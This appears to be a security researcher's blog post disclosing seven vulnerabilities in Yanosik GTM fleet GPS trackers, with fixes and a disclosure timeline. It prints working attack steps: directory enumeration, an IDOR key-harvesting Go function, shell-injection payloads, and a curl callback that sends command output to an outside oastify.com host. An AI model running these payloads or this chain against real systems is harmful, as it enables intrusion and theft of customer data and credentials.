Dev.to Security 🔐 Cybersecurity 👁 0 📖 7 min read

How I Popped a Fleet of GPS Trackers — 7 Vulnerabilities, One Unauthenticated RCE Chain in Yanosik GTM

Fleet tracking devices are everywhere. Every logistics company, taxi service, and delivery network runs them — small boxes silently uploading GPS coordinates and telemetry to a cloud backend around the clock. Because the

Fleet tracking devices are everywhere. Every logistics company, taxi service, and delivery network runs them — small boxes silently uploading GPS coordinates and telemetry to a cloud backend around the clock. Because they live inside vehicles and are managed centrally, they tend to be trusted implicitly. Nobody scrutinizes the protocol. Nobody checks the endpoints. They're just tracking boxes.

Yanosik is a Polish company best known for its speed camera and traffic alert app. Their GTM device is the hardware leg of their fleet management product — a small Android-based unit that communicates home over a proprietary binary protocol on TCP port 9966. I picked one up and started poking at it.

What I found was worse than I expected: a full unauthenticated path from the open internet to OS command execution on the backend server. The chain runs through three distinct vulnerabilities — an open directory exposing customer data, a broken authorization check that leaks device credentials to anyone who asks, and an OS command injection in the handler that processes those credentials. Seven findings total, ranging from critical to medium severity.

Responsible disclosure: All findings reported to Yanosik on October 21, 2026 before this post. All exploit payloads are benign probes (id, sleep, OOB DNS callbacks). No customer data was retained.

The Device

  • Model: Yanosik GTM-100
  • OS: Android 7.1.2
  • IMEI prefix: 353406080000xxx
  • Backend: Custom binary protocol over TCP 9966 (protobuf payload, CRC32-framed)
  • Main process: com.yanosik.gtm (PID 1901)

Finding #1 — HIGH-5: ADB Without Authorization + World-Writable App Data

The first thing I did after plugging it in was run adb devices. No authorization dialog appeared. The device connected immediately:

$ adb devices
List of devices attached
1C141FDH000001    device

$ adb shell id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),...

On any production device, ADB should require the user to physically accept a debug key on the device screen. The GTM ships with that disabled — a development artifact that survived into production firmware.

The world-writable data directory made this worse:

$ ls -la /data/data/ | grep yanosik
drwxrwxrwx  5 u0_a45 u0_a45 4096 com.yanosik.gtm

$ cat /data/data/com.yanosik.gtm/shared_prefs/device_prefs.xml
<map>
  <string name="imei">353406080000001</string>
  <string name="registrationKey">a3f7c2e1b9d04582[REDACTED]</string>
</map>

0777 on the app data directory. Any process on the device — including code reached through the unauthenticated ADB port — can read the IMEI and registrationKey in under 30 seconds.

Impact: Physical access to any vehicle = full credential extraction, no tools beyond a USB cable.

Fix: Set app dir to 0700. Require ADB authorization prompt on production units.

Finding #2 — CRIT-3: Open Directory, 4,817 Customer Records

Before touching the binary protocol, I walked the HTTP surface. Routine directory enumeration:

$ ffuf -u https://[REDACTED]/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
200   GET  /_/UPLOAD/   (words: 1847)

The UPLOAD directory returned Apache's auto-index, listing thousands of JSON files:

Index of /UPLOAD/
20240918_131042_864_353406080000001.json   2024-09-18  1.4K
20240918_131203_231_353406080000044.json   2024-09-18  1.4K

Each file is a customer registration payload — IMEI, email, vehicle plate, account ID:

{
  "imei":         "353406080000001",
  "ownerEmail":   "jan.k[REDACTED]@[REDACTED].pl",
  "vehiclePlate": "WA 4[REDACTED]",
  "accountId":    "ACC-00184732"
}
$ curl -s https://[REDACTED]/UPLOAD/ | grep -oP '\d{15}(?=\.json)' | sort -u | wc -l
4817

4,817 customer records in one unauthenticated request. The IMEI from each record is the key input for the next two critical findings.

Fix: Disable Apache directory listing (Options -Indexes). Use authenticated, per-device paths.

Finding #3 — HIGH-3: Full Firmware, No Auth — and a Critical Clue Inside

ADB's logcat revealed the OTA update URL pattern:

$ logcat -d | grep -iE "firmware|ota|update"
I GtmUpdater: Checking OTA at https://[REDACTED]/ota/gtm100/3.1.7/update.json
I GtmUpdater: Downloading https://[REDACTED]/ota/gtm100/3.2.1/gtm100_3.2.1.zip

Fetched directly, no credentials — 46MB firmware image, no auth token, no signed URL.

Running strings on the extracted system.img revealed the root cause of CRIT-1 without reversing a single backend binary byte:

LABEL_SHELL_CMD=/usr/bin/gtm-label-sync --device-id %s --label "%s"

The %s for --label is filled directly from the device-controlled protobuf field. The surrounding "..." doesn't prevent "; cmd; # or $(cmd).

Fix: Signed OTA URLs. Verify firmware with hardware-bound keys.

Finding #4 — HIGH-4: Spring Boot Actuator Exposed to Device Network

I used the device as a pivot to scan the backend's internal port surface:

$ /data/local/tmp/gtm_probe enum --host [REDACTED] --ports 10080-10090
10083  OPEN  HTTP  "Whitelabel Error Page"   <- Spring Boot

The /actuator/env endpoint dumped the entire Spring environment with secrets:

$ curl -s http://[REDACTED]:10083/actuator/env | grep -i "password|key|secret"
"spring.datasource.password":  "gtm_db_p@ss[REDACTED]",
"spring.datasource.url":       "jdbc:mysql://db-internal:3306/gtm_fleet",
"aws.secretKey":               "AKIA[REDACTED]",
"aws.accessKey":               "ASIA[REDACTED]"

Fix: management.endpoints.enabled-by-default=false in production. Isolate management ports.

Finding #5 — CRIT-2: IDOR on the Registration Key Endpoint

The GTM binary frame layout:

Offset  Size  Field
0       2     Magic: 0x4754 ("GT")
2       1     Protocol version: 0x03
3       1     Message type (1=REG, 2=PING, 3=REGKEY, 7=LABEL)
4       2     Payload length (big-endian uint16)
6       N     Payload (Protocol Buffer)
6+N     4     CRC32 (big-endian)

MSG type 3 is a "registration key fetch." The server should return your key when you register. The vulnerability: it returns the registrationKey for any IMEI supplied, with no ownership check.

func fetchRegKey(imei string) string {
    payload, _ := proto.Marshal(&Msg3Request{Imei: imei})
    frame := buildFrame(0x03, payload)
    conn, _ := tls.Dial("tcp", "[REDACTED]:9966", firmwareTLSConfig())
    defer conn.Close()
    conn.Write(frame)
    buf := make([]byte, 512)
    n, _ := conn.Read(buf)
    var resp Msg3Response
    proto.Unmarshal(buf[6:n-4], &resp)
    return resp.RegistrationKey
}
$ ./gtm_probe msg3 --imei 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]

$ ./gtm_probe msg3 --imei 353406080000187
registrationKey: 7c1e45a02bf69d38[REDACTED]

Anyone with internet access can walk the 4,817 IMEIs from CRIT-3 and harvest every device's credentials.

Fix: Verify device identity in MSG3, not just IMEI. Provision keys at manufacture, remove the MSG3 fetch endpoint.

Finding #6 — CRIT-1: OS Command Injection → Confirmed RCE

The string from the firmware tells the whole story:

LABEL_SHELL_CMD=/usr/bin/gtm-label-sync --device-id %s --label "%s"

The server calls system() or popen() with the sprintf-constructed string. Double-quotes in shell do not prevent:

  • "; cmd; # — terminates the argument, runs a new command
  • $(cmd) — subshell expansion still executes inside quotes

The JA3 Bypass

Port 9966 filters TLS connections by JA3 fingerprint. I captured the exact ClientHello from the firmware using strace:

$ strace -e trace=network,write -p 1901 -o /tmp/strace.log &
$ kill -HUP 1901
$ grep "write(83" /tmp/strace.log | head -1
write(83, "\x16\x03\x01\x00\xf1\x01...", 244) = 244
# Parse cipher suites -> feed into Go TLS config -> identical JA3 hash

Time-Based Blind Probe

$ time ./gtm_probe label --imei 353406080000001 --payload 'normal; sleep 5; #'
real    0m5.231s   <- server delayed by exactly 5 seconds

OOB DNS Callback — Confirmed RCE

$ ./gtm_probe label \
    --imei 353406080000001 \
    --payload 'x"; id|base64|tr -d "\n"|xargs -I{} curl -s http://{}.[REDACTED].oastify.com/x; #'

# Burp Collaborator received DNS lookup from 86.252.107.154:
$ echo "dWlkPWd0bXN2YyhnZW5lcmljKSBnaWQ9Z3Rtc3ZjKGdlbmVyaWMp..." | base64 -d
uid=gtmsvc(generic) gid=gtmsvc(generic) groups=gtmsvc(generic)

RCE confirmed on the main production API server as service account gtmsvc.

Fix: Replace system()/popen() with execve() + explicit argv array. The label never touches a shell.

Finding #7 — MED-1: Speed Camera Database, Publicly Available

$ logcat -d | grep cameras
I CameraUpdater: Fetching https://[REDACTED]/db/cameras_v20261026.zip

$ unzip -p cameras.zip cameras.json | python3 -c "import json,sys; d=json.load(sys.stdin); print(len(d['cameras']))"
187433

187,433 speed camera entries downloadable daily, no auth, predictable filename.

The Full Attack Chain — ~4 Minutes, No Prior Access Required

Step 1 — CRIT-3: Harvest all customer IMEIs from /UPLOAD/ directory listing
$ python3 enum_upload.py
[+] 4817 IMEIs found
                    |
                    v
Step 2 — CRIT-2: Fetch registrationKey for any IMEI via unauthenticated MSG3
$ ./gtm_probe msg3 --imei 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]
                    |
                    v
Step 3 — CRIT-1: Send MSG7 with OS command injection using stolen credentials
$ ./gtm_probe label --imei 353406080000044 --key a9f2d17bc4e83051[REDACTED] --payload 'x"; id; #'
[OOB] uid=gtmsvc(generic) gid=gtmsvc(generic)

Remediation Summary

ID Severity Fix
CRIT-1 Critical Replace system()/popen() with execve() argv array
CRIT-2 Critical Add IMEI ownership verification; provision keys at manufacture
CRIT-3 Critical Disable Apache directory listing; use authenticated paths
HIGH-3 High Signed OTA URLs; hardware-verified firmware integrity
HIGH-4 High Disable Actuator in prod; isolate management network
HIGH-5 High Set app dir to 0700; require ADB authorization
MED-1 Medium Signed, time-limited download tokens for camera DB

Key Lessons

  1. Device credentials must be secrets, not lookup keys. If a credential can be retrieved by supplying only a public identifier (IMEI), it provides no security.

  2. Never interpolate device input into shell commands. Use execve(). This class of bug has been well-understood for 30 years.

  3. Segment the device network. A GPS tracker reaching Spring Actuator on port 10083 should be impossible by firewall policy, not hope.

  4. Development defaults kill production security. ADB without auth, 0777 app directories, and exposed Actuator endpoints are fine for dev. They're catastrophic in shipped hardware.

Disclosure Timeline

  • Oct 21, 2026 — Full report sent to Yanosik
  • Oct 23, 2026 — Acknowledgement received
  • Oct 26, 2026 — Post published

Adrian · threatvector.tech

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.